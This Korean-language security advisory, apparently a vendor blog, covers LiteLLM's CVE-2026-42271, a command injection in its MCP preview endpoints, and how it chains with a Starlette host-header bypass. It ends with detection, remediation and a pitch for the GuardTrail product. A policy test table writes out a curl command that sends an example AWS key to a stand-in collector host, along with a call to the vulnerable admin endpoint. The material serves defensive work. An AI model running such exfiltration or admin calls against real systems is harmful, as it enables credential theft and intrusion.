- LiteLLM 프록시의 MCP 서버 미리보기 엔드포인트 두 곳이 요청 본문의
command·args·env를 그대로 실행했다. CVSS 8.7. - Starlette 호스트 헤더 검증 우회(CVE-2026-48710)와 연계하면 인증 없이 원격 코드 실행이 가능하다. 연계 시 심각도는 CVSS 10.0으로 평가됐다.
- 공격자는 웹 셸 설치, 모델 공급자 API 키 수집, 서비스 계정 토큰을 이용한 내부 확산을 수행한 것으로 보고됐다.
- AI 게이트웨이는 자격증명이 집중되는 지점이다. 원문 자격증명을 저장하지 않는 설계와 호출 단위 판정 기록이 피해 범위를 결정한다.
1.개요
LiteLLM은 여러 모델 공급자의 API를 하나의 인터페이스로 묶는 오픈소스 프록시로, 사내 AI 게이트웨이로 널리 쓰인다.
2026년 4월 20일 공개된 CVE-2026-42271은 이 프록시가 MCP 서버를 저장하기 전에 연결을 미리 확인하는 두 엔드포인트,
POST /mcp-rest/test/connection과 POST /mcp-rest/test/tools/list에서 발생한다.
두 엔드포인트는 요청 본문에 담긴 서버 구성 전체를 받아, 표준 입출력(STDIO) 방식 서버를 띄우기 위해 지정된 명령을 그대로 실행했다.
영향 범위는 1.74.2 이상 1.83.7 미만 버전이며, 패치는 5월 8일 1.83.7로 배포됐다. 그러나 패치 후 약 한 달 만인 6월 8일, CISA는 실제 악용 증거를 근거로 이 취약점을 KEV 목록에 올렸다.
2.공격 흐름
단독으로는 프록시 API 키를 가진 인증 사용자만 악용할 수 있다. 문제는 연계다. Horizon3.ai는 Starlette의 호스트 헤더 검증 우회 취약점(CVE-2026-48710, 이른바 BadHost)을 결합해 인증 단계를 통째로 건너뛰는 공격 체인을 시연했다. 네트워크로 접근 가능한 위치라면 누구든 게이트웨이 호스트에서 임의 명령을 실행할 수 있다.
보고된 침해 후 행위는 전형적이다. 웹 셸로 지속성을 확보하고, 환경 변수와 설정 파일에서 모델 공급자 API 키를 수집하며, 게이트웨이가 쓰는 서비스 계정 토큰으로 연결된 인프라에 확산한다.
3.분석: 게이트웨이는 자격증명의 집결지다
이 사건의 본질은 취약점의 종류가 아니라 위치에 있다. 명령 주입은 오래된 취약점 유형이다. 그러나 그것이 AI 게이트웨이에서 발생하면 피해 규모가 달라진다. 게이트웨이는 설계상 조직의 모든 모델 공급자 키를 보관하고, 여러 MCP 서버와 내부 시스템에 대한 연결 정보를 갖는다. 한 지점을 장악하면 조직의 AI 인프라 전체 자격증명을 얻는다.
또 하나 주목할 점은 공격 표면이 'MCP 서버 구성'이라는 점이다. STDIO 방식 MCP 서버는 정의상 로컬 프로세스를 띄운다. 서버 구성을 외부 입력으로 받는 기능은 곧 프로세스 실행 기능이다. 같은 구조적 위험은 6월 초 NSA가 발표한 MCP 보안 설계 지침에서도 임의 코드 실행 노출이라는 항목으로 지적됐다.
| 날짜 | 내용 |
|---|---|
| 2026-04-20 | CVE-2026-42271 공개 |
| 2026-05-08 | LiteLLM 1.83.7 패치 배포 |
| 2026-06-08 | CISA KEV 등재(실제 악용 확인) |
4.위협 분류 매핑
이 사건의 공격 단계를 OWASP 에이전트 애플리케이션 Top 10(2026)과 MITRE ATLAS 기법에 대응시키면 다음과 같다. GuardTrail은 판정 결과에 같은 분류의 태그를 붙여 기록하고, SIEM으로 내보낼 때 함께 전달한다.
| 체계 | 항목 | 이 사건에서 |
|---|---|---|
| OWASP ASI | ASI05 예기치 않은 코드 실행 | MCP 서버 구성의 command 필드가 게이트웨이 호스트에서 그대로 실행됐다 |
| OWASP ASI | ASI03 신원·권한 남용 | 게이트웨이 서비스 계정 토큰으로 연결된 인프라에 확산했다 |
| MITRE ATLAS | AML.T0098 AI Agent Tool Credential Harvesting | 모델 공급자 API 키와 설정 파일의 자격증명 수집 |
| MITRE ATLAS | AML.T0086 Exfiltration via AI Agent Tool Invocation | 수집한 키를 외부로 반출 |
5.젠아이랩스 GuardTrail의 대응
젠아이랩스(GenAI Labs) GuardTrail은 AI 에이전트의 도구 호출을 실행 직전에 가로채 기록·판정·차단하는 Agent EDR이다. 개발자 PC의 코딩 에이전트(Claude Code 훅, stdio 래퍼)와 사내 MCP 서버(게이트웨이)에 설치되며, 차단 판정은 언어 모델이 아닌 결정적 정책으로 내린다. 제품 소개 · 위협 차단 · 도입 방식
GuardTrail 역시 MCP 호출이 지나는 게이트웨이로 동작한다. 따라서 이번 사건은 GuardTrail의 설계 원칙을 점검하는 기준이 된다.
- 원문 자격증명을 저장하지 않는다. 도구 호출의 인자와 결과는 마스킹된 미리보기(300자 이하), SHA-256 해시, 크기만 기록한다. 자격증명은 종류와 해시만 남긴다. 기록 저장소가 유출되더라도 키 원문은 나오지 않는다.
- 자격증명이 발급처가 아닌 곳으로 가는 호출을 항상 차단한다. 하드 정책
hard.credential-exfiltration은 모드와 무관하게 동작한다. AWS 키가 amazonaws.com이 아닌 주소로, 개인키가 네트워크 어디로든 나가려 하면 실행 전에 막는다. - 클라이언트가 스스로 밝힌 정보를 인가 근거로 쓰지 않는다. MCP의
clientInfo는 정보용으로만 다루고, 인가는 게이트웨이가 발급한 에이전트 신원을 기준으로 한다. - 모든 호출을 판정과 함께 기록한다. 게이트웨이를 지나는 호출마다 시각, 에이전트, 도구, 목적지, 판정, 사유가 남아 침해 범위를 추정이 아닌 기록으로 확인할 수 있다.
고객 정책 예시
에이전트가 게이트웨이의 관리 API를 직접 호출하는 일은 정상 업무에서 드물다. 관리 경로가 인자에 나타나는 호출을 승인 대상으로 지정한다.
policies:
- id: llm-gateway-admin-approval
name: AI 게이트웨이 관리 API 호출 승인
effect: REQUIRE_APPROVAL
mode: enforce
reason: 에이전트가 AI 게이트웨이의 관리 API를 호출하려면 보안 담당자 승인이 필요합니다.
match:
args_pattern: ['(?i)/(mcp-rest|config|key)/']
판정 결과
첫 번째 호출은 고객 정책에, 두 번째 호출은 내장 하드 정책 hard.credential-exfiltration에 걸린다. 하드 정책은 고객 정책이 없어도, 관찰 모드에서도 항상 동작한다. 아래 표는 위 정책을 GuardTrail 정책 엔진에 적용하고 guardtrail policy test --mode enforce로 각 호출을 판정한 실제 결과다. 인자에 넣은 키와 토큰은 공개 문서의 예시 값이다.
| 도구 호출 · 에이전트 | 판정 | 정책·사유 |
|---|---|---|
curl -X POST http://llm-gw.internal:4000/mcp-rest/test/connection -d @server…agent:dev · 내장 정책 + 고객 정책 | 승인 필요 | llm-gateway-admin-approval에이전트가 AI 게이트웨이의 관리 API를 호출하려면 보안 담당자 승인이 필요합니다. |
curl -d 'aws_access_key_id=AKIAIOSFODNN7EXAMPLE' https://collector.example.n…agent:dev · 내장 정책 + 고객 정책 | 차단 | hard.credential-exfiltrationaws_access_key sent to collector.example.net, which is not its issuer |
6.점검 방법
- 버전 확인:
pip show litellm또는 컨테이너 이미지 태그가 1.83.7 미만인지 확인한다. - 접근 기록 점검: 프록시 접근 기록에서
/mcp-rest/test/connection,/mcp-rest/test/tools/list요청과 비정상Host헤더를 찾는다. - 지속성 흔적: 게이트웨이 호스트의 웹 루트와 임시 디렉터리에서 최근 생성된 스크립트 파일을 확인한다.
- 키 사용 이력: 모델 공급자 콘솔에서 평소와 다른 지역·시간대의 API 키 사용을 확인한다.
7.권고 사항
- LiteLLM을 1.83.7 이상, Starlette를 1.0.1 이상으로 업데이트한다.
- 게이트웨이 관리 엔드포인트를 인터넷에서 차단하고, 허가된 서비스에서만 접근하도록 네트워크를 제한한다.
- 게이트웨이에 저장된 모델 공급자 API 키를 모두 교체한다. 침해가 의심되면 웹 셸과 지속성 흔적을 먼저 점검한다.
- MCP 서버 구성을 외부 입력으로 받는 기능은 관리자 권한과 허용 목록으로 제한한다.
참고 문헌
- The Hacker News, LiteLLM Flaw CVE-2026-42271 Exploited in the Wild. thehackernews.com
- Cloud Security Alliance, LiteLLM AI Gateway: Active Exploitation via MCP Injection. labs.cloudsecurityalliance.org
- CISA, Known Exploited Vulnerabilities Catalog. cisa.gov
관련 제품 · 보안 권고
- NVD, CVE-2026-42271 (LiteLLM 명령 주입). nvd.nist.gov
- NVD, CVE-2026-48710 (Starlette Host 헤더 검증 우회). nvd.nist.gov
- BerriAI LiteLLM 저장소. github.com
- LiteLLM 공식 문서. docs.litellm.ai
- 젠아이랩스 GuardTrail. guardtrail.gensapps.com · 표준 커버리지
수치와 경위는 각 출처가 공개한 내용을 따랐다. 접근 확인 2026-06-12.